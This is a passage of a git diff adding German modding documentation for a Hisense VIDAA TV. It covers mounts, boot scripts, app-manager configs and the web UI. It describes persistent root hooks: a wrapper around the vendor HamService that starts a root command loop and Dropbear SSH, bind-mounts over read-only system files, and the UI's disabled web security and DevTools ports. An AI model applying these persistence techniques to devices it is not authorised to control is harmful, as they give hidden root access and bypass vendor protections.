`/etc/rc.d/rc.local`: `/proc/boottime`, `/dev/shm/shm_tmp`, `rc.local.partial`, `mount_main.sh`, `mount_data.sh`, `/basic/3rd_ini/*/global_env_setup.ini`, `mount_3rd*`, `mount_perm.sh`, `fusion.ko`, `hisense_rc.sh`, `dtv_driver*.ko`, `autorun.sh`, `patch/opera4x`, `preload_opera`, `ms_service`, `hisenseUI`, `app_man`, `delayrun`. +- **Seriell:** `ttyMT0` 115200; `rootlogin.sh` (USB-Key + doppelt-MD5-PIN) ist der Hardware-Root-Login. **Nicht nötig** für den Software-Root. +- **USB-Console:** `usb_console.sh` nur wenn `ttyUSB` in `/proc/cmdline`; hier nicht. + +--- + +## 3. Package Manager: **keiner** + +Live-Root-Check: + +```sh +for c in apt apt-get dpkg rpm opkg ipkg apk yum pacman; do command -v $c; done +# -> keine Ausgabe / nicht gefunden +ls -la /etc/opkg /etc/opkg.conf /var/lib/opkg /var/lib/dpkg /usr/lib/opkg +# -> No such file or directory +/bin/busybox --list | grep -E '^(opkg|dpkg|rpm|apk|ipkg)$' +# -> keine Treffer +cat /etc/os-release +# -> No such file or directory +``` + +**Fazit:** Es gibt **keinen Package Manager**, kein Paket-Repo, kein `opkg install`, kein `apt`. +**Modding-Konsequenz:** + +- Eigene Tools als **statische ARM-Binaries** bauen (`arm-linux-gnueabihf-gcc -static`) oder Shell-Skripte verwenden. +- Deployment per **`File.download`** (Browser root) nach `/3rd_rw/appdata`, per **SSH** (`cat`/`base64`/`tar`) oder USB. +- Nichts „installieren“ im Sinne einer Distro; Dateien nach `/3rd_rw`/`/data`/`/perm` legen und per `developer.sh`/`HamService`-Wrapper starten. +- Siehe `06-toolchain-deploy.md`. + +--- + +## 4. Storage / Mounts / Partitionen + +### Mounts (live) + +```text +rootfs / rootfs rw 0 0 +/dev/root / squashfs ro,relatime 0 0 +none /proc proc rw +none /sys sysfs rw +none /opt tmpfs rw # 304.6M +none /dev/shm tmpfs rw # 304.6M; /tmp -> /dev/shm/shm_tmp +none /var/run tmpfs rw # 304.6M +/dev/mmcblk0p30 /data ext4 rw # 1.9G +/dev/mmcblk0p30 /vddt ext4 rw # gleiche Partition +/dev/mapper/dm-3 /3rd squashfs ro +/dev/mmcblk0p33 /spdata ext4 ro +/dev/mmcblk0p14 /3rd_rw ext4 rw # 1.1G +/dev/mmcblk0p12 /perm ext4 rw # 3.9M +/dev/sda1 /dev/shm/shm_tmp/mnt/usb/sda1 ext4 rw +/dev/mmcblk0p14 /etc/passwd ext4 rw # unser Bindmount (Root-Home) +devpts /dev/shm/pts devpts rw +devpts /dev/pts devpts rw # Bind für PTY +``` + +### Größen (`df -h`) + +| Mount | Größe | Belegt | Frei | FS | +|---|---:|---:|---:|---| +| `/` | 38.8M | 38.8M | 0 | squashfs ro (100 %) | +| `/3rd` | 141.0M | 141.0M | 0 | squashfs ro (100 %) | +| `/3rd_rw` | 1.1G | 610.6M | 489.3M | ext4 rw (56 %) | +| `/data` | 1.9G | 3.0M | 1.9G | ext4 rw | +| `/perm` | 3.9M | 172K | 3.5M | ext4 rw | +| `/spdata` | 35.4M | 1.3M | 33.3M | ext4 ro | +| `/opt` | 304.6M | 0 | 304.6M | tmpfs | +| `/dev/shm` | 304.6M | 58.8M | 245.8M | tmpfs | +| `/var/run` | 304.6M | 0 | 304.6M | tmpfs | +| USB | 927.7M | 264K | 863.5M | ext4 rw | + +- **Kein OverlayFS** (`/proc/filesystems`: sysfs, rootfs, ramfs, bdev, proc, tmpfs, debugfs, sockfs, pipefs, **devpts**, ext2/3/4, **squashfs**, vfat, iso9660, udf, mqueue, ntfs; **kein overlay**). +- **Modding-Mechanik:** rw-Partitionen + **`mount --bind`** (Datei oder Verzeichnis), kein Overlay. +- **`/dev` ist Teil des ro Squashfs** (kein devtmpfs); `/dev/pts` enthält statische Nodes 136,0–4; **PTY-Workaround** nötig (siehe `06`/Root-Guide). +- **`/tmp` ist ein Symlink auf `/dev/shm/shm_tmp`** (tmpfs). +- **eMMC-Partitionen** (Auszug): p9 rootfsA (40M), p10 rootfsB, p12 perm, p13 3rd_ro (205M), p14 rw_area/3rd_rw (1152M), p30 data (2040M), p33 spdata (40M), p34 swap (100M); `dm-3` = 141M `/3rd`; `zram0` 200M. +- **Swap:** `delayrun.sh` macht `mkswap /dev/mmcblk0p34` + `swapon`; `zram0` 200M. +- **Rootfs/3rd 100 % voll**; neue Daten gehören nach `/3rd_rw` (489M frei) oder `/data` (1.9G frei), nicht in `/`/`/3rd`. + +--- + +## 5. Toolchain-Constraints (Kurz) + +| Constraint | Wert | +|---|---| +| Architektur | ARMv7, EABI5, hard-float, VFPv4/NEON | +| Kernel | 3.18.25 (kein overlayfs, kein devtmpfs, devpts ja) | +| libc | glibc 2.18 (TV) | +| Compiler | `arm-linux-gnueabihf-gcc` (Host) | +| Static | empfohlen; `-static`; der mitglieferte Dropbear ist statisch (glibc 2.39) und läuft | +| Dynamic | nur mit TV-glibc 2.18 / passendem Sysroot; sonst GLIBC_2.xx-Fehler | +| Package Manager | **keiner** | +| Deploy | `File.download` (Browser root), SSH (`cat`/`base64`/`tar`), USB | +| PTY | devpts auf `/dev/shm/pts` → bind `/dev/pts`; `/dev` ro | +| Overlay | **nein** → `mount --bind` + `developer.sh` | + +Details, Dropbear-Build und Deploy: `06-toolchain-deploy.md`. + +--- + +## 6. Evidence + +- `/proc/version`, `/proc/cmdline`, `/proc/cpuinfo`, `/proc/filesystems`, `/proc/mounts`, `/proc/partitions` +- `df -h`, `ls -l /lib`, `ls -l /bin`, `ls -l /etc`, `/etc/inittab`, `/etc/init.d/rcS`, `/etc/rc.d/rc.local` +- `command -v apt/dpkg/opkg/...` leer; `/etc/opkg`/`/var/lib/dpkg` fehlen; `/bin/busybox --list` +- Der alte Run-Ordner (`docs/re/20261025-vidaa-takeover/`) enthält die Roh-Captures; für die Replikation nicht nötig. + +--- + +## 7. Bekannte Unknowns + +- Exakte SoC-Bezeichnung (MT5863 vs. MT53xx-Familie), exakte Kernanzahl, Secure-Boot-/Signaturstatus. +- Vollständige Kernel-Config, `dm-3`-Konstruktion, `spdata`/`perm`/`facset`/`hiscfg`/`eeprom`-Inhalte. +- U-Boot-Env (Bad CRC; default NFS) und echter Bootloader-Flow im Detail. +- DRM/`securetime`/PlayReady/Widevine, Netflix/Cobalt/Amazon, OTA/`checker.sh`/`file_upgrading`. +- `dtv_svc`/`app_man`-Interna, `LauncherService`-Datenquelle, `Hisense_*`-API-Signaturen. +- Ob `VIDAAU2Launcher` auf diesem Modell je aktiv ist (die aktive UI ist `/3rd_rw/UI`; `launcher`/`VIDAAU2` sind Alt-/Alternativ-Skins). +- Ob der `preset.txt`-Cache vom `LauncherService`/der UI bei jedem Start neu geschrieben wird (die `deletedPresetApp.txt` ist die persistente Hide-Liste). diff --git a/modding/02-boot.md b/modding/02-boot.md new file mode 100644 index 0000000..fc4634d --- /dev/null +++ b/modding/02-boot.md @@ -0,0 +1,278 @@ +# 02 — Boot: vom U-Boot bis UI/AM/Services + +**Status:** Boot-Kette, Skripte, Zeilennummern und Service-Reihenfolge **CONFIRMED** aus `/etc`, `/basic`, `/3rd` (live/static). Einzelne Bootloader-/Hardware-Details `UNVERIFIED`. + +--- + +## 1. Boot-Reihenfolge (Überblick) + +```text +U-Boot (eMMC) + → Linux 3.18.25 (cmdline: root=/dev/mmcblk0p9, rootfstype=squashfs, console=ttyMT0) + → /sbin/init + → /etc/inittab (getty ttyMT0, sysinit) + → /etc/init.d/rcS + → mount -a + → /etc/rc.d/rc.local + → rc.local.partial, mount_main.sh, mount_data.sh, 3rd_ini env + → mount_3rd_ro.sh, mount_3rd.sh, mount_perm.sh + → insmod /basic/fusion.ko + → /etc/scripts/hisense_rc.sh (mount_userdata.sh async) + → /basic/autorun.sh + → OTA-Check, Wireless, /3rd_rw/developer.sh (Zeile 90) + → preload_opera, core-dump, ms_service (162) + → hisenseUI/start-UI.sh (168) + → app_man -c am_config -s am_start.ini (177) + → delayrun.sh (190) + → swrc-server, runlogservice, LauncherService, Seriallog, + HamService, swap + → usb_console.sh, Bluetooth +``` + +**Wichtig:** `/3rd_rw/developer.sh` läuft **früh** (Zeile 90) — **vor** `ms_service`, `hisenseUI`, `app_man` und `delayrun`. Das ist der beste Hook für frühe Bind-Mounts/Stubs/custom Services. Der `HamService`-Wrapper läuft **spät** (nach `delayrun` + 15 s) und ist der aktuelle SSH/Root-Loop-Boot-Hook. + +--- + +## 2. U-Boot / Kernel / Partitionen + +- **Bootmedium:** eMMC, MediaTek `mt53xx-emmc`. +- **A/B-Slots:** `ubootA/B`, `kernelA/B`, `rootfsA/B`; root ist `/dev/mmcblk0p9` (rootfsA). +- **Rootfs:** squashfs **ro** (38.8 MB, 100 %); `/3rd` ist `dm-3` squashfs ro (141 MB, 100 %). +- **Kernel-Cmdline** (Auszug): + ``` + rootwait rootfstype=squashfs ro console=ttyMT0,115200n1 vmalloc=512mb quiet + mtdparts=mt53xx-emmc:... root=/dev/mmcblk0p9 ... adb_enable=0 + ``` +- **U-Boot-Env:** `fw_printenv` → **„Bad CRC, using default environment“**; Default ist NFS (`bootcmd=bootp...`). Die **echte** Boot-Konfiguration ist die `/proc/cmdline`; das gespeicherte U-Boot-Env ist nicht verlässlich. +- **Seriell:** `ttyMT0` 115200 (getty); `rootlogin.sh` = USB-Key + doppelt-MD5-PIN (Hardware-Root). **Nicht nötig** für den Software-Root. +- **ADB:** `adb_enable=0`; kein ADB. + +--- + +## 3. init / rcS / rc.local + +### `/etc/inittab` + +```text +id:3:initdefault: +1:012345:respawn:/sbin/getty -L ttyMT0 115200 vt100 +si::sysinit:/etc/init.d/rcS +``` + +### `/etc/init.d/rcS` + +```sh +#! /bin/sh +source /etc/profile +# Don't use scripts. Just use mount -a for fast boot. +/bin/mount -avt nonfs,nosmbfs +[ -x /etc/rc.d/rc.local ] && /etc/rc.d/rc.local +``` + +### `/etc/rc.d/rc.local` (Auszug) + +```sh +echo "rc.local begin" > /proc/boottime +# /dev/shm/shm_tmp (Basis für /tmp) +sh /etc/rc.d/rc.local.partial & +sh /etc/scripts/mount_main.sh +sh /etc/scripts/mount_data.sh +for INI_3RD in `ls /basic/3rd_ini`; do source /basic/3rd_ini/$INI_3RD/global_env_setup.ini; done +# mount_3rd_ro.sh / mount_3rd.sh / mount_perm.sh +insmod /basic/fusion.ko +sh /etc/scripts/hisense_rc.sh # mount_userdata.sh async +# dtv_driver_adpt.ko / dtv_dolby_vision.ko / dtv_driver.ko +# BROWSER_3RD_RW=/3rd_rw/patch/opera4x; mount -o bind ... /3rd/opera4x +# preload_opera.sh, core-dump, ut_drv, aud_cpudec +# ms_service, hisenseUI/start-UI.sh, app_man, delayrun +``` + +- **`/proc/boottime`** wird an mehreren Stellen geschrieben (Boot-Timing). +- **`file_upgrading`** in `/proc/cmdline` triggert `checker.sh` + `mount_perm`/`mount_3rd`/`mount_3rd_ro`; nicht der normale Boot. +- **`/basic/3rd_ini/*/global_env_setup.ini`** setzt `LD_LIBRARY_PATH`/Env für die 3rd-Services. +- **`fusion.ko`** ist das MediaTek-AM-/App-Framework-Modul; `dtv_driver*.ko` für den Tuner/DTV. +- **`/3rd_rw/patch/opera4x`**: Vendor-Overlay — wenn das Verzeichnis existiert, wird es **als Ganzes** über `/3rd/opera4x` gebindet (`mount -o bind`). Siehe Abschnitt 7. +- **`/3rd_rw/developer.sh`**: früher Root-Hook (siehe Abschnitt 6). + +--- + +## 4. `/basic/autorun.sh` — die Service-Zentrale + +Reihenfolge (Zeilennummern aus der Datei): + +| Zeile | Aktion | +|---:|---| +| 1–~60 | Header, OTA-Strategie (`ota_upgrade_strategy.sh`), Wireless-Datei, Developer-Hook | +| **90–92** | **`if [ -f /3rd_rw/developer.sh ]; then sh /3rd_rw/developer.sh; fi`** | +| ~128 | `preload_opera.sh` (Opera-Libs) | +| ~137 | Core-Dump-Setup (optional) | +| ~162 | **`ms_service`** starten (`/3rd/ms-screen/ms_service &`) | +| **168** | **`hisenseUI/start-UI.sh &`** (TV-UI, `/3rd_rw/UI/index.html`) | +| **177** | **`/basic/app_man -c /basic/am_config -s /basic/am_start.ini -input_fifo &`** | +| **190** | **`sh /basic/delayrun.sh &`** | +| danach | `usb_console.sh`, Bluetooth-Service | + +**Wichtig:** Der `developer.sh`-Hook ist **vor** `ms_service`/`hisenseUI`/`app_man`/`delayrun`. Damit lassen sich ro-Dateien (z. B. `/basic/am_config`, `/basic/am_start.ini`, `/basic/delayrun.sh`, `/3rd/ms-screen/ms_service`, `/3rd/opera4x/hisenseUI/start-UI.sh`) per **Datei-Bind-Mount** oder Stub ersetzen, **bevor** sie gelesen/ausgeführt werden. + +--- + +## 5. AM (app_man), am_start, am_config, delayrun + +### 5.1 `app_man` + +```sh +cd /basic +/basic/app_man -c /basic/am_config -s /basic/am_start.ini -input_fifo & +``` + +- **AM** = MediaTek App Manager. Startet native Apps/Services aus `am_start.ini`/`am_config`. +- Steuerung: `:am,,:=`; Verbs u. a. `start`, `stop`, `pause`, `resume`, `URL`, `backgm`, `foregm`, `shutdown`, `suspend`, `wakeup`; `:am,am,...` für den Manager. +- **Kein `exec`/`args` über AM** (nur die konfigurierten `exec`/`args`). + +### 5.2 `am_start.ini` — Boot-App-Sektionen + +```ini +[ application_context ] +app_sect = securetime +app_sect = dialserver +app_sect = netflix +app_sect = samba_relay_agent +app_sect = browser_base +app_sect = dtv_app_mtk # first started + +[ dtv_app_mtk ] +exec = /basic/dtv_svc +args = --am -input_fifo +coexist_set = [opera4x,factory_lite,diskcache,netflix] + +[ netflix ] +exec = /3rd/netflix/nrd-app/netflix +... +``` + +- **`dtv_app_mtk` / `dtv_svc`**: TV-Kern (Tuner/DTV/Navigator); wird zuerst gestartet. +- **`netflix`**: Netflix-App; `coexist_set` mit `dtv_app_mtk`, `opera4x`, `factory_lite`. +- **`dialserver`**: DIAL/CAST. +- **`samba_relay_agent`**: Samba-Relay (Port 9090). +- **`browser_base`**: Hintergrund-Browser (`/3rd/internet_browser/browser -x bws_background`), `start_self=true`. +- **`securetime`**: PlayReady Secure Time (`/3rd/playready/securetime`). + +### 5.3 `am_config` — App-Definitionen (Auszug) + +| App | exec / args | Bemerkung | +|---|---|---| +| `opera4x` | `/3rd/opera4x/browser/run-Browser.sh` | Web-Browser (`hisense_browser`), `start_self=true`, DevTools 9224 | +| `netflix_niab` | `/3rd/netflix/nrd-app/netflix` | Netflix | +| `opera_browser` | `/3rd/internet_browser/browser -u http://www.google.com ...` | „Internet Browser“-Variante | +| `opera_tv_store` | `/3rd/internet_browser/browser -u https://demo.tvstore.opera.com ...` | TV Store | +| `youtube` | `/3rd/internet_browser/browser -u http://www.youtube.com/tv ...` | YouTube (Web) | +| `youtube_kids` / `youtube_tv` | `/3rd/cobalt/cobalt ...` | Cobalt-YouTube | +| `cobalt` | `/3rd/cobalt/cobalt ...` | Cobalt | +| `amazon_ignition` | `/3rd/amazon/bin/ignition` | Amazon | +| `factory_lite` | `/3rd/his_factory/factory_lite -qws` | Factory-Menü | +| `huluplus`, `hotlist`, `generic_osd` | Internet-Browser | Legacy/Store | +| `vudu` (referenziert) | — | Store/Region | + +- `exec`/`args`; `coexist_set`; `start_self`; `backgm_support`; `keymap`; `timeout_4_stop`; `loosely_exclusive_set`. +- **Der Web-Browser** (`opera4x`) wird **nicht** beim Boot aus `am_start.ini` gestartet; er wird bei Bedarf (TV-Browser-Tile) über AM gestartet. **Die UI** (`hisenseUI`) startet separat aus `autorun.sh` (Zeile 168). + +### 5.4 `delayrun.sh` — späte Services (nach 15 s) + +```sh +sleep 15 +export LD_LIBRARY_PATH=/3rd/loglevel/lib:$LD_LIBRARY_PATH +/3rd/swrc-server/swrc-server & +/3rd/his_runlog/runlogservice.sh & +/3rd/launcherservice/startLS.sh & # LauncherService +/3rd/Serial_log/Seriallog & +/3rd/hamservice/startHam.sh & # HamService (unser Wrapper) +mkswap /dev/mmcblk0p34; swapon /dev/mmcblk0p34 +``` + +- **`swrc-server`**: Software-Remote-Control-Server. +- **`runlogservice`**: Logging/Runlog. +- **`LauncherService`**: Launcher-/App-Daten/UI-Service (`startLS.sh`). +- **`Seriallog`**: serielles Logging. +- **`HamService`**: ACR/Hisense-Service; **hier** greift unser Wrapper (`/3rd_rw/hamservice/HamService`), der Root-Loop + Dropbear startet und dann das echte `/3rd/hamservice/HamService` ausführt. +- **Swap:** `mmcblk0p34` (100M). + +--- + +## 6. Boot-Hooks (die wichtigen) + +| Hook | Zeitpunkt | Was | +|---|---|---| +| **`/3rd_rw/developer.sh`** | **früh** (autorun Zeile 90) | Root; vor `ms_service`/`hisenseUI`/`app_man`/`delayrun`. Bestens für: `mount --bind` von modifizierten `am_start.ini`/`am_config`/`delayrun.sh`, Stubs für `ms_service`/`start-UI.sh`/`app_man`, frühe eigene Services, SSH/Root-Loop. | +| **`/3rd_rw/hamservice/HamService`** | spät (delayrun + 15 s) | Root; unser Wrapper: `root_loop.sh` + `start_sshd.sh`, dann `exec /3rd/hamservice/HamService`. **Aktuelle SSH/Root-Persistenz.** | +| **`/3rd_rw/patch/opera4x`** | autorun (vor `preload_opera`/UI) | Vendor-Overlay: `mount -o bind /3rd_rw/patch/opera4x /3rd/opera4x`. **Full overlay** — nur mit vollständigem Baum/Symlinks; für einzelne Dateien lieber Datei-Bind-Mount via `developer.sh`. | +| **`/3rd_rw/UI`** | UI-Start | Die aktive UI-Seite (`/3rd_rw/UI/index.html`); rw. | +| **`/3rd_rw/appdata/launcher`** | UI/LauncherService | App-Tiles/Daten (`preset.txt`, `Appinfo.json`, `deletedPresetApp.txt`, `data/Category*.xml`, `res/`). | +| **`/3rd_rw/sshd`** | via HamService/`start_sshd.sh` | Dropbear, Host-Key, authorized_keys, Startskript. | +| **`/3rd_rw/appdata/root_loop.sh`** | via HamService/`developer.sh` | Root-Kommandokanal (`root_cmd.sh` → `root_out.txt`). | +| **`/3rd_rw/patch/opera4x`** | autorun | full `/3rd/opera4x` overlay; siehe oben. | + +**Wichtig:** Die ro-Dateien `/basic/am_config`, `/basic/am_start.ini`, `/basic/delayrun.sh` werden **nach** dem `developer.sh` gelesen/ausgeführt. Ein `mount --bind` in `developer.sh` wirkt daher. Ein Stub über `/3rd/ms-screen/ms_service` oder `/3rd/opera4x/hisenseUI/start-UI.sh` wirkt ebenfalls, weil die `-x`-Checks danach kommen. + +--- + +## 7. `/3rd_rw/patch/opera4x` (Vendor-Overlay) + +In `autorun.sh`: + +```sh +BROWSER_3RD_RW=/3rd_rw/patch/opera4x +if [ -d $BROWSER_3RD_RW ]; then + mount -o bind $BROWSER_3RD_RW /3rd/opera4x +fi +``` + +- **Full directory bind**: `/3rd/opera4x` wird komplett durch `/3rd_rw/patch/opera4x` ersetzt. +- **Konsequenz:** Der Patch-Ordner muss die **komplette** `opera4x`-Struktur enthalten (oder ein Symlink-Baum auf `/3rd/opera4x` sein), sonst fehlen Browser/UI/Libs. +- **Für einzelne Dateien** (z. B. `hisenseUI/start-UI.sh`, `opera_env.sh`) ist ein **Datei-Bind-Mount** in `developer.sh` sicherer: + ```sh + mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh + ``` +- Der Patch-Ordner ist **nicht** vorhanden; er ist ein optionaler Vendor-Hook. Siehe `04-modding.md` Route E. + +--- + +## 8. Logs / Verifikation + +- **`/proc/boottime`**: Timing-Marker (`rc.local begin`, `mount_main.sh`, `fusion.ko`, `ms_service` etc.). +- **`/tmp/am_*`**: AM-Infos (`am_tv_model_name`, `am_tv_version`, `am_start.ini`-Status). +- **`/tmp/fifo_am_*`, `/tmp/DmrLaunchedStatus.dat`, …**: AM/DIAL. +- **Hisense Runlog**: `/3rd/his_runlog/runlogservice.sh`, `/3rd_rw/...` (Logs). +- **`Seriallog`**: `/3rd/Serial_log`. +- **Unser SSH/Deploy**: `/3rd_rw/sshd/dropbear.log`, `/3rd_rw/sshd/mount.log`, `/3rd_rw/appdata/root_out.txt`, `/3rd_rw/appdata/root_loop.log`. +- **Prozesse:** `ps`, `/proc//cmdline`, `/proc//status`. +- **UI:** `hisenseUI` (PID z. B. 589), `hisense_browser` (PID z. B. 1320), `app_man`, `dtv_svc`, `LauncherService`, `HamService`. + +**Health-Check auf dem TV:** + +```sh +/bin/sh /3rd_rw/appdata/verify.sh +``` + +--- + +## 9. Risiken / Grenzen + +- **`developer.sh`-Fehler** können `ms_service`/UI/`app_man`/`delayrun` verhindern → TV-UI schwarz, Apps starten nicht. Immer mit `set -x`/Log und Fallback (SSH/Root-Loop, Web-Browser) arbeiten. +- **`am_config`/`am_start.ini` beschädigen** → native Apps (TV, Netflix, DIAL) starten nicht. Modifizierte Kopien **vorher testen**; `developer.sh`-Bind nur mit Backup; Rollback = Bind lösen/reboot. +- **`app_man`/`dtv_svc` deaktivieren** → TV/Remote/Apps kaputt; für eine reine Custom-UI riskant. `dtv_svc`/`app_man` lieber behalten. +- **`/3rd_rw/patch/opera4x` full overlay** → fehlende Dateien = Browser/UI kaputt. Nur mit vollständiger Kopie; besser Datei-Bind. +- **`ms_service`/`swrc`/`runlog`/`Seriallog`** abschalten ist meist unkritisch, kann aber DLNA/Remote/Logs kosten. +- **`securetime`** ist PlayReady/DRM; deaktivieren kann DRM/Netflix brechen. +- **Kein Flash/Recovery:** Der TV hat kein UART angeschlossen; der Root/SSH-Weg und `developer.sh`/HamService-Wrapper sind die Rettungswege. Keine Änderungen am ro Rootfs/`/3rd` ohne vollständiges Verständnis. + +--- + +## 10. Unknowns + +- Echter U-Boot-Flow/Env (Bad CRC), Secure Boot, Signaturprüfung, A/B-Slot-Auswahl. +- Voller Inhalt von `checker.sh`, `ota_upgrade_strategy.sh`, `file_upgrading`, `bspatch`/OTA. +- `dtv_svc`/`app_man`/`am`-Interna, `:am`-Semantik im Detail, `coexist_set`/`backgm`/`keymap`. +- `LauncherService`-Datenquelle (Store/Foxxum/FCGI), `hisenseUI`-Template-Auswahl. +- Ob `VIDAAU2Launcher` auf diesem Modell je aktiv ist (die aktive UI ist `/3rd_rw/UI`). +- `ms_service`/`swrc`/`runlog`/`Seriallog`/`HamService`-Abschaltfolgen. +- Exakte Service-PIDs/Reihenfolge variieren pro Boot; die Skript-/Zeilen-Reihenfolge ist stabil. diff --git a/modding/03-ui.md b/modding/03-ui.md new file mode 100644 index 0000000..48548b6 --- /dev/null +++ b/modding/03-ui.md @@ -0,0 +1,366 @@ +# 03 — UI: `hisenseUI`, Web-Browser, Launcher, AM, Daten + +**Status:** UI-Start, Pfade, Prozesse, App-/Launcher-Daten und AM-Konfiguration **CONFIRMED** (live/static). Template-/API-Details und die aktive Skin-Auswahl teils `UNVERIFIED`. + +--- + +## 1. Zwei Browser, zwei Welten + +| | TV-UI | Web-Browser | +|---|---|---| +| Prozess | **`hisenseUI`** (z. B. PID 589) | **`hisense_browser`** (z. B. PID 1320) | +| Start | `/3rd/opera4x/hisenseUI/start-UI.sh` (autorun Zeile 168) | `/3rd/opera4x/browser/run-Browser.sh` (AM-App `opera4x`) | +| Renderer | **GLES** (`--hw-gles`, Mali) | **DirectFB** (`--hw-dfb`) | +| Seite | **`/3rd_rw/UI/index.html`** | beliebige Web-URL; unsere Recon-Seite | +| JS-Plugins | **`/3rd/UI_jsplugins`** | `/3rd/opera4x/opera_dir/jsplugins` | +| DevTools | **9223** (wenn `enable_developer_tools`) | **9224** (wenn `enable_developer_tools`) | +| Zweck | TV-Home/Settings/Launcher | Internet/TV-Browser/Web-Apps | +| User | root | root | + +**Wichtig:** Das TV-UI ist **nicht** der „TV Browser“-Tile. Der Tile startet `opera4x`/`hisense_browser` (Web-Browser). Das System-UI ist `hisenseUI` und läuft separat. + +--- + +## 2. TV-UI: Start und Seite + +### 2.1 Startskript + +`/3rd/opera4x/hisenseUI/start-UI.sh` (ro; Aufruf aus `/basic/autorun.sh` Zeile 168): + +```sh +set -e +cd /3rd/opera4x/hisenseUI +. ./opera_env.sh +export MEMORY_LIMIT=$(( 500*1024*1024 )) +STARTPAGE=/3rd_rw/UI/index.html +# optional: "disk" -> /3rd_rw/UI/index.html; "url" -> http://172.16.12.134/modernTV/UI/hisenseUI/index.html +export LD_PRELOAD="/3rd/opera4x/lib/libcurl.so.4.4.0" +cmd="./bin/hisenseUI" +cmd+=" --hw-gles" +cmd+=" --js-flags=\"--expose-gc\"" +cmd+=" --jsplugins-dir=/3rd/UI_jsplugins" +cmd+=" --enable-gpu-rasterization --force-gpu-rasterization" +cmd+=" --force-gpu-mem-available-mb=512 --disable-software-rasterizer" +cmd+=" --disable-web-security" +cmd+=" --http-cache-size=30" +cmd+=" -u ${STARTPAGE}" +# wenn /3rd_rw/appdata/enable_developer_tools: --remote-debugging-port=9223 +exec $cmd +``` + +- **Seite:** `/3rd_rw/UI/index.html` (rw). +- **`--disable-web-security`**: lokale Files/Cross-Origin erlaubt; die UI kann `file://`/`/3rd_rw` lesen. +- **`--jsplugins-dir=/3rd/UI_jsplugins`**: TV-APIs der UI. +- **GLES/Mali**: `ins_arm_mali_mod.sh`, `OPERA_EGL_SCREEN_SIZE=1920x1080`; UI-CSS nutzt 1280×720. +- **DevTools 9223** nur mit `/3rd_rw/appdata/enable_developer_tools` (existiert). +- **MEMORY_LIMIT 500 MB**; `--expose-gc`; GPU-Rasterisierung. + +### 2.2 UI-Seite `/3rd_rw/UI/index.html` + +Die Seite ist eine **PIXI-basierte Web-UI** (`loadModel()`): + +```js +$LAB.script("pub/PubDefine.js").wait() + .script("model/model.js") + .script("lib/pixi.js") + .script("lib/tweenjs-0.6.2.combined.js") + .script("sdk/MessagePool.js") + .script("sdk/UI.js") + .script("lib/jquery-1.8.2.js") + .script("sdk/Const.js") + .script("sdk/Debug.js") + .script("sdk/Util.js") + .script("pub/PubFunc.js") + .script("lib/launcherDataInterface.js") + .script("lib/parseXML.js") + .script("lib/inputsInterface.js") + .script("pub/HisProductConfig.js") + .script("sdk/Logreport.js") + .script("pub/persianCalendarTime.js") +``` + +- **`UI/`-Unterordner:** `assets/`, `data/`, `keyboard/`, `language/`, `lib/`, `model/`, `module/`, `pub/`, `sdk/`, `templates/`, `tools/`. +- **`pub/HisProductConfig.js`** (Dump): `acrflag=false`, `ciplus_certification=false`, `pvr_enable=true`. +- **`model/model.js`/`sdk/UI.js`**: UI-Framework; `TVAPI`/`model`/`guijs` stehen der UI-Seite zur Verfügung. +- **`lib/launcherDataInterface.js` (139 KB, `ldi.js`)**: lädt Launcher-/Kategorie-/App-Daten; zentrale Stelle für App-Tiles. +- **`templates/`/`module/`**: UI-Templates/Module (Settings, Launcher, etc.). +- **`UI_jsplugins`** (ro, `/3rd/UI_jsplugins`): `libhisensejs`, `libmodeljs`, `libutiljs`, `libimejs`, `libdtv`, `libmmp`, `libsql`, `libpwjs`, `libmtkrpcwrapper`, `libchanneldump`, `libdmp-adapter`, `libavsmusic`, … — die `Hisense_*`/`TVAPI`-Funktionen. + +### 2.3 UI-Prozess prüfen / neu starten + +```sh +ps | grep hisenseUI | grep -v grep +# PID ermitteln +kill +nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 & +``` + +- `start-UI.sh` **exec**t `hisenseUI`; nach `kill` startet das Skript einen neuen UI-Prozess. +- **Achtung:** Bei kaputter `UI/index.html` wird der Bildschirm schwarz. SSH/Root-Loop als Rettungsweg; Backup der `index.html` zurückkopieren, UI neu starten. +- **DevTools 9223** (wenn `enable_developer_tools`): `http://192.168.188.94:9223/` vom Host (Chrome/Chromium). Dort kannst du die UI-Seite inspizieren/JS ausführen. + +--- + +## 3. Launcher-/App-Daten (das eigentliche „Wo ist das UI?“) + +Die UI liest die App-/Kategorie-Daten über `lib/launcherDataInterface.js` (`ldi.js`) aus `/3rd_rw/appdata/launcher/` (Bridge-Root `/3rd_rw/appdata`): + +``` +/3rd_rw/appdata/launcher/ + preset.txt # 26 vorinstallierte App-Tiles (Cache/Liste) + Appinfo.json # vom Nutzer installierte Web-Apps (unser VidaaRecon) + deletedPresetApp.txt # JSON-Array der ausgeblendeten Tiles + rememberEditApp.json # Launcher-Edit-State + settingappinfo.txt # Setting-/App-Info + data/ + CategoryIndex.xml # Kategorien (aktiv, wenn serviceUpdate zum Land passt) + CategoryList_*.xml + Category_1001_*.xml # App-Tiles (35 KB) + Category_57_*.xml # App-Tiles (35 KB) + PicInfo.xml # Bilder/Assets + serviceUpdate.xml # Land/Timestamp der Store-/Kategorie-Daten + SwitchFeatureList.xml + res/ # Tile-Icons (PNG/JPG) + cache/index.json # Icon-Cache + firstNotification.txt, lanCode.txt, NotifySwitchStatus.txt +``` + +Zusätzlich: + +``` +/3rd_rw/launcher/ # Alt-/Asset-Skin (html/js/css/img/data); Datenpfad appdata/launcher +/3rd_rw/UI/data/ # Default-/Fallback-Launcher-Daten (wenn Store-Land/Timestamp nicht passt) +/3rd_rw/launcher/data/templateConfig.xml # Template-Konfiguration (Alt-/UI-Templates) +/3rd_rw/VIDAAU2Launcher/ # VIDAA-U2-Tile-Launcher (Alternativ-Skin; Aktivierung UNVERIFIED) +``` + +### 3.1 `ldi.js`: aktive Datenquelle + +```js +var mainJSON; +var defaultData = (serviceCountryCode != currentCountryCode) || getAlwaysDefaultDataStatus() || serviceUpdate.timeStamp == 0; +var launcherPath = defaultData ? "UI/data/" : "launcher/data/"; +if (defaultData) mainJSON = loadLauncherDefaultData(launcherPath, currentCountryCode); +else mainJSON = readXMLDOM(launcherPath + "CategoryIndex.xml", 1); +... +``` + +- **Land/Sprache:** `user_db.db` → `tvapi.str.basic.settings.tvset.location = DEU`, `tvapi.i32.language.osd = 16`, Brand `his`, Region 7. +- **Aktiver Pfad:** 